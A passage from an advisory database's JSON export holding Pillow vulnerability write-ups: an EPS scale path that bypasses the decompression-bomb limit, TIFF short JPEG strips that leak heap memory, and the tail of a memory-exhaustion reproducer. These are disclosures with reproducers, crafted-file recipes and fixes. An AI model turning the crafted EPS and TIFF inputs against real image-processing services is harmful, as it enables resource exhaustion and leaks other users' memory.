LIMIT and im.im.size == (1, 1)\n\n# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its\n# buffers from the poisoned im.size.\nbefore = peak_rss_mib()\nim.seek(1)\ntry:\n    im.load()\n    outcome = \"completed\"\nexcept MemoryError:\n    outcome = \"MemoryError at the 3 GiB cap\"\nafter = peak_rss_mib()\nprint(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -\u003e {after} MiB\")\nballooned = after - before \u003e 1000\n\nprint(\"BUG\" if poisoned and ballooned else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T20:53:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg","https://nvd.nist.gov/vuln/detail/CVE-2026-112400","https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-65qm-jvmh-6pqg"],"source_kind":"github","identifiers":["GHSA-65qm-jvmh-6pqg","CVE-2026-112400"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.596Z","epss_percentage":0.00594,"epss_percentile":0.49777,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NXFtLWp2bWgtNnBxZ84AB-f2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NXFtLWp2bWgtNnBxZ84AB-f2","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 9.2.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NXFtLWp2bWgtNnBxZ84AB-f2/related_packages","related_advisories":[{"uuid":"CVE-2026-112400","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112400.json"},{"uuid":"UBUNTU-CVE-2026-112400","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112400","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112400"}]},{"uuid":"GSA_kwCzR0hTQS12eDZ3LXZ2OWYtNmd2Z84AB-f1","url":"https://github.com/advisories/GHSA-vx6w-vv9f-6gvg","title":"Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit","description":"```\n============================================================================\nEPS load(scale) lets Ghostscript render past the decompression bomb limit\nLocation: src/PIL/EpsImagePlugin.py:92  in Ghostscript()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.\n\nThe cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000×9000 passes, and `load(scale=2)` then asks Ghostscript for 18000×18000 (3.6× `MAX_IMAGE_PIXELS`). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.\n\nThe effect is a constant-factor overshoot rather than an unbounded one, for three reasons:\n\n* The multiplier is an integer chosen by the application, not by the file.\n* With the default warning filter, `Image.open()` already lets files up to 2× the limit reach Ghostscript at `scale=1`.\n* Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout.\n\nThis is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included.\n\n## Details\n\n`EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N × height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width × height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started.\n\nThis 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning:\n\n```\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 9000 9000\n%%EndComments\n0 0 moveto 9000 9000 lineto stroke\nshowpage\n```\n\n`im.load(scale=2)` on it then executes\n\n```\ngs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage\n```\n\ni.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at `scale=1` — a 537 MB PNM. Against that baseline, `scale=2` is 4× an already-permitted render.)\n\nThe arithmetic is in `Ghostscript()`:\n\n```python\n# src/PIL/EpsImagePlugin.py:91-97\n    # Hack to support hi-res rendering\n    scale = int(scale) or 1\n    width = size[0] * scale\n    height = size[1] * scale\n    # resolution is dependent on bbox and size\n    res_x = 72.0 * width / (bbox[2] - bbox[0])\n    …\n# src/PIL/EpsImagePlugin.py:139-142\n    command = [\n        gs_binary,\n        \"-q\",  # quiet mode\n        f\"-g{width:d}x{height:d}\",  # set output geometry (pixels)\n    …\n# src/PIL/EpsImagePlugin.py:165-168\n        subprocess.check_call(command, startupinfo=startupinfo)\n        with Image.open(outfile) as out_im:\n            out_im.load()\n            return out_im.im.copy()\n```\n\nand its caller does nothing between taking `scale` from the application and invoking it:\n\n```python\n# src/PIL/EpsImagePlugin.py:411-417\n    def load(self, scale: int = 1, transparency: bool = False) -\u003e …:\n        # Load EPS via Ghostscript\n        if self.tile:\n            assert self.fp is not None\n            self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency)\n```\n\n`size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N² times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4× (scale 2), 9× (scale 3), 16× (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 — after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory.\n\n`WmfStubImageFile.load(dpi)` has the same shape (file-derived extent × caller-supplied factor → new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 (\"Throw an exception when an opened image is larger than an arbitrary limit\", 2014-05-14, first released in 2.5.0), which added the check to `Image.open()` without covering the `scale` path.\n\n## Impact\n\nAffected are applications that open untrusted EPS/PS with Ghostscript installed and call `load(scale=N)` with a fixed N \u003e 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript `{} loop`; Pillow runs `gs` with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N² × `MAX_IMAGE_PIXELS` pixels (N² × 2·`MAX_IMAGE_PIXELS` if the application does not turn `DecompressionBombWarning` into an error) and write a `W·H·3`-byte PNM into the temp directory — 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 — before any limit is applied. The operator's `MAX_IMAGE_PIXELS` setting is exceeded by a factor of N²; N is an integer chosen by the application, not by the file, so the work stays bounded at N² × 2·`MAX_IMAGE_PIXELS`. The consequence is N² more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because `Image.open(outfile)` re-checks the PNM's size, and there is no memory corruption.\n\nThis is a sibling of the WMF `load(dpi)` issue fixed in af70b075a (\"Add decompression bomb check when loading at a different DPI\"); the EPS `scale` path was not covered by that change. Unlike the WMF case, where the file-controlled `_inch` makes the ratio unbounded, the EPS multiplier is fixed by the application.\n\n## Reproducing\n\nRun `repro` against the installed Pillow. Ghostscript does not need to be installed: the script sets `EpsImagePlugin.gs_binary = \"gs\"` so that `has_ghostscript()` skips its `gs --version` probe, and replaces `subprocess.check_call` with a function that records the command line Pillow builds and then raises `OSError`, so nothing is actually rendered.\n\nIt writes a 76-byte EPS declaring `%%BoundingBox: 0 0 9000 9000` (the example above without the drawing line; 81 Mpixel, below the default `MAX_IMAGE_PIXELS` of 89,478,485) and turns `DecompressionBombWarning` into an error, so any bomb check — warning or hard error — counts. It then calls `Image.open()` and `im.load(scale=2)`. `Image.open()` accepts the file and `load(scale=2)` reaches the intercepted Ghostscript call with `-g18000x18000` (324,000,000 pixels, 3.6× `MAX_IMAGE_PIXELS`, a 972 MB `pnmraw` output with real Ghostscript). The script prints the geometry it captured.\n\nIt prints `BUG` when Ghostscript was invoked with a `-g` geometry above `2*MAX_IMAGE_PIXELS` (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints `OK`. With the attached patch applied, `load(scale=2)` raises `DecompressionBombError` before Ghostscript is called and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch checks the scaled size in `Ghostscript()` right after the scaled `width`/`height` are computed (`src/PIL/EpsImagePlugin.py:93-94`) and before the `gs` command is built, mirroring `WmfStubImageFile.load`:\n\n```diff\n--- a/src/PIL/EpsImagePlugin.py\n+++ b/src/PIL/EpsImagePlugin.py\n@@ -92,6 +92,7 @@ def Ghostscript(\n     scale = int(scale) or 1\n     width = size[0] * scale\n     height = size[1] * scale\n+    Image._decompression_bomb_check((width, height))\n     # resolution is dependent on bbox and size\n     res_x = 72.0 * width / (bbox[2] - bbox[0])\n     res_y = 72.0 * height / (bbox[3] - bbox[1])\n```\n\n`load(scale=N)` now raises `DecompressionBombError` / emits `DecompressionBombWarning` under the same `MAX_IMAGE_PIXELS` thresholds `Image.open()` applies, before Ghostscript runs instead of after. Placing the check in `Ghostscript()` rather than in `EpsImageFile.load()` is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints `OK` and `Tests/test_file_eps.py` passes. One cosmetic side effect: at `scale=1` the check re-emits the `DecompressionBombWarning` that `Image.open()` already issued for sizes between 1× and 2× the limit; guarding the call with `if scale \u003e 1:` would avoid the duplicate.\n\nThe patch also adds `test_load_scale_decompression_bomb` to `Tests/test_file_eps.py`, in the style of the WMF test: it sets `MAX_IMAGE_PIXELS` to `im.width * im.height` and expects `im.load(scale=2)` to raise `DecompressionBombError`. Like the rest of that file it is skipped without Ghostscript, because `has_ghostscript()` is consulted at the top of `Ghostscript()`; moving the check above that call would let the test run without it.\n\n## The patch\n\nAdd decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked\n\nApplies to `src/PIL/EpsImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py\nindex 70eced62a..de331d97f 100644\n--- a/Tests/test_file_eps.py\n+++ b/Tests/test_file_eps.py\n@@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -\u003e None:\n         assert image.format == \"EPS\"\n \n \n+@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\")\n+def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -\u003e None:\n+    with Image.open(FILE1) as im:\n+        monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", im.width * im.height)\n+        with pytest.raises(Image.DecompressionBombError):\n+            im.load(scale=2)\n+\n+\n @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\")\n def test_load() -\u003e None:\n     with Image.open(FILE1) as im:\ndiff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py\nindex 5eaefe339..ccc6f1d85 100644\n--- a/src/PIL/EpsImagePlugin.py\n+++ b/src/PIL/EpsImagePlugin.py\n@@ -92,6 +92,7 @@ def Ghostscript(\n     scale = int(scale) or 1\n     width = size[0] * scale\n     height = size[1] * scale\n+    Image._decompression_bomb_check((width, height))\n     # resolution is dependent on bbox and size\n     res_x = 72.0 * width / (bbox[2] - bbox[0])\n     res_y = 72.0 * height / (bbox[3] - bbox[1])\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 1,845 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of\n# (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the\n# unscaled WxH was checked by Image.open(). gs is not installed here, so we\n# set gs_binary and intercept subprocess.check_call to read the argv Pillow builds.\nimport os, subprocess, tempfile, warnings\nfrom PIL import Image, EpsImagePlugin\n\nEpsImagePlugin.gs_binary = \"gs\"  # skip the `gs --version` probe\npath = os.path.join(tempfile.mkdtemp(), \"a.eps\")\nwith open(path, \"w\") as f:  # 9000x9000 = 81 Mpx \u003c MAX_IMAGE_PIXELS (89.5 Mpx)\n    f.write(\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 9000 9000\\n%%EndComments\\nshowpage\\n\")\n\ncalls = []\ndef fake_check_call(cmd, **kw):\n    calls.append(cmd)\n    raise OSError(\"gs intercepted\")  # stop here; we only need the argv\nsubprocess.check_call = fake_check_call\n\nhard = 2 * Image.MAX_IMAGE_PIXELS\nbomb_before_gs = False\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"error\", Image.DecompressionBombWarning)\n    try:\n        with Image.open(path) as im:\n            print(\"Image.open accepted\", os.path.getsize(path), \"byte EPS, size\", im.size)\n            im.load(scale=2)\n    except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e:\n        bomb_before_gs = not calls\n        print(\"bomb check fired\", \"before\" if bomb_before_gs else \"after\", \"gs:\", e)\n    except OSError as e:\n        print(\"load() reached gs:\", e)\n\nover = False\nfor c in calls:\n    g = next(a for a in c if a.startswith(\"-g\"))[2:]\n    w, h = map(int, g.split(\"x\"))\n    over |= w * h \u003e hard\n    print(f\"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, \"\n          f\"hard limit {hard}); pnmraw output would be {w*h*3} bytes\")\nprint(\"BUG\" if calls and over and not bomb_before_gs else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-20T20:53:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-vx6w-vv9f-6gvg","https://github.com/python-pillow/Pillow/commit/3e8cc105588d1dfe062fcada0b6058c1b5f14b65","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-vx6w-vv9f-6gvg"],"source_kind":"github","identifiers":["GHSA-vx6w-vv9f-6gvg","CVE-2026-112899"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.783Z","updated_at":"2026-12-03T11:01:22.596Z","epss_percentage":0.00502,"epss_percentile":0.44543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eDZ3LXZ2OWYtNmd2Z84AB-f1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12eDZ3LXZ2OWYtNmd2Z84AB-f1","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 2.3.0, \u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eDZ3LXZ2OWYtNmd2Z84AB-f1/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112899","source_kind":"osv","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-112899"},{"uuid":"DEBIAN-CVE-2026-112899","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112899"},{"uuid":"CVE-2026-112899","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112899.json"}]},{"uuid":"GSA_kwCzR0hTQS1xNDVqLTU4ajItNDVyZ84AB-f0","url":"https://github.com/advisories/GHSA-q45j-58j2-45rg","title":"Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips","description":"```\n============================================================================\nTiffDecode returns uninitialized memory as pixels for short JPEG strips\nLocation: src/libImaging/TiffDecode.c:554  in _decodeStrip()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.\n\nThe bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state-\u003ebuffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early.\n\nThe attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with `b\"LEAK\"`. It then finds 15,872 copies of `LEAK` in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases.\n\nThis is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c (\"Add reading old-JPEG compressed TIFFs\", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0).\n\n## Details\n\n`src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip\n(or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and\nthen copies all `RowsPerStrip` rows of that buffer into the image whenever\n`TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the\nJPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist\nand returns the full strip size. The rows it did not write are whatever the heap held\nbefore, and Pillow returns them as pixels.\n\nA 478-byte file shows it: a classic little-endian TIFF, 256×256, `BitsPerSample=8`,\n`Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data\nis a baseline JPEG of 256×**8** pixels (as written by `Image.new(\"L\",(256,8),200).save(…,\"JPEG\")`).\n`Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always\ntake the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the\nremaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's\n`MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the\nfresh-`malloc` fill byte), and in a process that has just freed buffers containing\n`b\"LEAK\"` they contain 15872 copies of `LEAK`.\n\nFeeding the same file to libtiff 4.5.0 directly confirms the library side:\n`TIFFReadEncodedStrip(t, 0, buf, 65536)` prints\n`JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`,\nreturns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs\n`TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either.\n\nThe strip path:\n\n```c\n// src/libImaging/TiffDecode.c:552\n    /* realloc to fit whole strip */\n    /* malloc check above */\n    new_data = realloc(state-\u003ebuffer, state-\u003ebytes);      // state-\u003ebytes = TIFFStripSize()\n    …\n    state-\u003ebuffer = new_data;\n\n    for (; state-\u003ey \u003c state-\u003eysize; state-\u003ey += rows_per_strip) {\n        …\n            if (TIFFReadEncodedStrip(\n                    tiff,\n                    TIFFComputeStrip(tiff, state-\u003ey, plane),\n                    (tdata_t)state-\u003ebuffer,\n                    strip_size\n                ) == -1) {\n                … return -1;\n            }\n            …\n            // iterate over each row in the strip and stuff data into image\n            for (strip_row = 0;\n                 strip_row \u003c MIN((INT32)rows_per_strip, state-\u003eysize - state-\u003ey);\n                 strip_row++) {\n                …\n                shuffler(\n                    (UINT8 *)im-\u003eimage[state-\u003ey + state-\u003eyoff + strip_row] +\n                        state-\u003exoff * im-\u003epixelsize,\n                    state-\u003ebuffer + strip_row * row_byte_size,\n                    state-\u003exsize\n                );\n```\n\n`state-\u003ebuffer` arrives here as the one-row `calloc` made by `decode.c:230`\n(`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back\na different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the\nnominal strip size on success, not the number of rows produced, and the only check is\n`== -1`, so the row loop unconditionally copies 256 rows × 256 bytes into `im-\u003eimage`\n(which itself is zeroed by `core.new`, so the garbage provably comes from `state-\u003ebuffer`).\n`_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then\n`tile_length` rows copied after each `TIFFReadTile()` at 460–488).\n\nFor a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes\nand the copy is correct. The malicious file differs only in the SOF height of the embedded\nJPEG; libtiff treats \"JPEG smaller than strip\" as a warning, clamps the row count to the\nJPEG height, and reports success.\n\nJPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode`\n(`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512×256\n1-bit TIFF whose strip is the Group 4 stream of a 512×16 image loads without error,\nlibtiff writes 17 rows (1088 bytes) of the 16384-byte buffer\n(`Fax4Decode: Warning, Premature EOL at line 16`, return value 16384) and the other\n15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were\nchecked and do return -1 on short data, so Pillow raises `OSError` for those.\n\nThe strip path was introduced in `e91b851fdc1c` (\"Add reading old-JPEG compressed TIFFs\",\n2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row `TIFFReadScanline()`\n(where libtiff errors on the first missing row) with the whole-strip `realloc()` and copy.\nThe tile path has had the same shape since it was added in `f0436a4ddc95` (2018-07-02,\nPillow 5.3.0).\n\n## Impact\n\nAny application that opens attacker-supplied images with Pillow in the default\nconfiguration and returns something derived from the pixels (thumbnail, preview, format\nconversion, OCR text) discloses freed heap memory of the worker process to the uploader:\neverything below the rows the embedded JPEG/G4 stream actually encodes, up to\n`ImageWidth × RowsPerStrip × SamplesPerPixel` bytes per strip and tens of MB per image\nwithin the default `MAX_IMAGE_PIXELS`. `load()` raises nothing, so the application has no\nsignal that the image is malformed. What comes back depends on allocator state; in a\nlong-running web worker it is typically recently freed request bodies, other users'\ndecoded image buffers and Python object contents. There is no memory corruption; this is\na read of uninitialised (previously used) heap memory, analogous in effect to an\nout-of-bounds read that lands in pixels.\n\n## Reproducing\n\n`repro` is a short Python script that runs against the installed Pillow build with\ndefault settings: no rebuild, no sanitizer, no files written. It runs twice, once normally\nand once re-executing itself under glibc's `MALLOC_PERTURB_=170`, and the last line it\nprints is `BUG` or `OK`.\n\n**Input.** `tiff(jpeg_rows, tiled)` builds a little-endian TIFF in memory. The header\ndeclares a 256×256 8-bit greyscale image with `Compression=7` (JPEG), either as one strip\n(`RowsPerStrip=256`) or as one 256×256 tile (`TileWidth`/`TileLength`). The strip or tile\nis a baseline JPEG of 256×`jpeg_rows` pixels, all value 200, written by Pillow's own JPEG\nencoder. For each layout the script builds two files:\n\n- **Control:** `jpeg_rows=256`. This is a well-formed file, and libtiff fills the whole\n  64 KiB strip/tile.\n- **Crafted:** `jpeg_rows=8`, 478 bytes (strip) or 490 bytes (tile). The only difference\n  is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns\n  `Improper JPEG strip/tile size` (Pillow silences the warning) and returns the full\n  strip/tile size as success.\n\n**Steps.** Each file is opened (the script asserts it takes the `libtiff` decoder). Just\nbefore `im.load()` the script allocates and frees six 64 KiB `bytearray`s filled with\n`b\"LEAK\"`, which leaves freed heap chunks about the size of the buffer that\n`_decodeStrip()`/`_decodeTile()` is about to `realloc()`. For rows 8–255 it then counts\ncopies of `LEAK` and bytes equal to `0x55` (glibc's fresh-`malloc` fill under\n`MALLOC_PERTURB_=170`). The files contain no `LEAK` bytes (the script asserts this), so\nany copy in the image came from freed heap memory. It reports `BUG` if a crafted file\nshows any `LEAK` in the normal pass, or rows 8–255 entirely `0x55` in the perturbed pass.\n\n**Expected output on this tree:**\n\n```\n[normal ] strip well-formed (1222 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8'\n[normal ] strip crafted     ( 478 B) rows 8-255: 15872 x b'LEAK',     0/63488 == 0x55, head=b'LEAKLEAK'\n[normal ] tiled well-formed (1234 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8'\n[normal ] tiled crafted     ( 490 B) rows 8-255: 15872 x b'LEAK',     0/63488 == 0x55, head=b'LEAKLEAK'\n[perturb] strip well-formed (1222 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8'\n[perturb] strip crafted     ( 478 B) rows 8-255:     0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'\n[perturb] tiled well-formed (1234 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8'\n[perturb] tiled crafted     ( 490 B) rows 8-255:     0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'\nBUG\n```\n\n`im.load()` succeeds for every file. For the crafted files rows 8–255 are the uninitialised\nstrip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8–255\nof the crafted files come back as `\\x00` bytes, with no `LEAK` and no `0x55`, and the\nscript ends with `OK`.\n\nThe `LEAK` count depends on where glibc places the buffer (the same freed chunk was reused\nin 500 of 500 runs here); the `MALLOC_PERTURB_` pass does not. The script covers the JPEG\ncodec only. The Group 4 variant in the Details section (`Compression=4`, a T.6 stream that\nends early) goes through the same `_decodeStrip()` copy, and the same fix covers it.\n\n## Suggested fix\n\nThe attached patch zeroes `state-\u003ebuffer` before each libtiff read in both loops of\n`src/libImaging/TiffDecode.c` — before `TIFFReadTile()` in `_decodeTile()` and before\n`TIFFReadEncodedStrip()` in `_decodeStrip()` — so rows a codec does not produce are\ndeterministic zeros rather than stale heap:\n\n```diff\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ _decodeTile\n             for (x = state-\u003exoff; x \u003c state-\u003exsize; x += tile_width) {\n+                memset(state-\u003ebuffer, 0, state-\u003ebytes);\n                 if (TIFFReadTile(tiff, (tdata_t)state-\u003ebuffer, x, y, 0, plane) == -1) {\n@@ _decodeStrip\n         for (plane = 0; plane \u003c planes; plane++) {\n             ImagingShuffler shuffler = unpackers[plane];\n+            memset(state-\u003ebuffer, 0, state-\u003ebytes);\n             if (TIFFReadEncodedStrip(\n```\n\nA `memset` per strip/tile (rather than one `calloc` after the size is known) is needed\nbecause the same buffer is reused for every strip, and a short last strip would otherwise\nexpose the previous strip's rows — harmless for disclosure, but the per-read `memset`\nkeeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting\nlibtiff warnings to errors via a warning handler is not a good alternative: both 